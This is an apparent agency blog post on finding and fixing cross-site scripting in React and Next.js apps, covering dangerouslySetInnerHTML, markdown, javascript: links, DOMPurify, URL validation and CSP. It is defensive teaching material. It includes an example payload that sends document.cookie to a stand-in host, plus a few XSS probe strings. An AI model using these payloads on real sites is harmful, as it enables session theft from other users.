AleannLab

XSS in React and Next.js Apps: Where User Content Still Runs as Code

AleannLab team2 min read

Cross-site scripting (XSS) means content written by one user runs as JavaScript in another user's browser, with that user's session. React escapes text for you, so most output is safe. The holes are the places where you opt out: dangerouslySetInnerHTML, markdown or rich text rendered as HTML, and URLs from users placed in href or src. Sanitise HTML with a library, validate URL schemes, and add a Content Security Policy as a second layer.

On this page
  1. Where React does not protect you
  2. Find it
  3. Fix it
  4. Limit the damage

A script running in your origin can read whatever the page can: tokens in localStorage, the user's data, the forms they type into. It can also send requests as them. For an admin user that usually means the whole app.

Where React does not protect you

Raw HTML. The prop is named "dangerously" for a reason, and AI assistants use it whenever content contains formatting:

JSX
<div dangerouslySetInnerHTML={{ __html: comment.body }} />

A comment containing <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)"> runs for every reader.

Markdown and rich text. Markdown allows inline HTML. If the renderer passes it through (for example react-markdown with the rehype-raw plugin, or marked output inserted as HTML), user markdown is user HTML.

Links. React escapes the text of a link, not its destination:

JSX
<a href={profile.website}>Website</a>

If profile.website is javascript:alert(document.domain), a click runs it.

Other sinks. element.innerHTML = ... in a useEffect, eval, new Function, and values interpolated into an inline <script> block (a common way to pass server data to the client).

Find it

bash
grep -rnE "dangerouslySetInnerHTML|innerHTML|rehype-raw|insertAdjacentHTML|document\.write|eval\(|new Function" \
  app src components --include=*.tsx --include=*.jsx --include=*.ts --include=*.js

For each hit, ask where the value comes from. Content written by your team in a CMS is one risk level. Content typed by any signed-up user is another.

Then test: put these into every field that is later displayed (name, bio, comment, file name, support message):

code
<img src=x onerror=alert(1)>
[click](javascript:alert(1))
"><svg onload=alert(1)>

Look at every place the value appears, including admin panels and emails. Admin screens are where stored XSS does the most damage.

Fix it

Prefer plain text. If a field does not need formatting, render it as {value} and let React escape it.

Sanitise HTML you must render. Use DOMPurify, on the server or at render time:

TypeScript
import DOMPurify from 'isomorphic-dompurify';

const clean = DOMPurify.sanitize(comment.body, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'code', 'pre', 'br'],
  ALLOWED_ATTR: ['href'],
});

An allowlist of tags is safer than trying to block bad ones.

Render markdown without raw HTML. react-markdown is safe by default. Do not add rehype-raw for user content, or pair it with rehype-sanitize.

Validate URLs. Accept only schemes you expect:

TypeScript
function safeUrl(input: string): string | null {
  try {
    const url = new URL(input);
    return ['http:', 'https:', 'mailto:'].includes(url.protocol) ? url.href : null;
  } catch {
    return null;
  }
}

Serialise data for inline scripts safely. JSON.stringify does not escape </script>. Replace < with < before putting JSON into a script tag.

Limit the damage

  • Content Security Policy. A policy without unsafe-inline for scripts stops most injected code from running even when a sanitiser misses something. See our post on missing security headers.
  • HttpOnly session cookies. A script cannot read a cookie it cannot see. More in session tokens in localStorage.
  • User uploads on another origin. HTML and SVG files served from your main domain are XSS by upload. See unsafe file uploads.

Unescaped output is check 9 in our security checklist for vibe-coded apps. If you want every input in your app tested this way and fixed, see our app rescue and security audit.

All articles →

Ready to discuss your project with us?

idea
*
*
*
I'm interested in...
Web Development
App Development
UX/UI Design
DevOps
Artificial Intelligence And Machine Learning
QA Testing
Mobile Development
Consultation
OutSource
Project budget (USD)
≤ $5K
$10K-$20K
$30K-$40K
$50K-$60K
>$100K
Upload file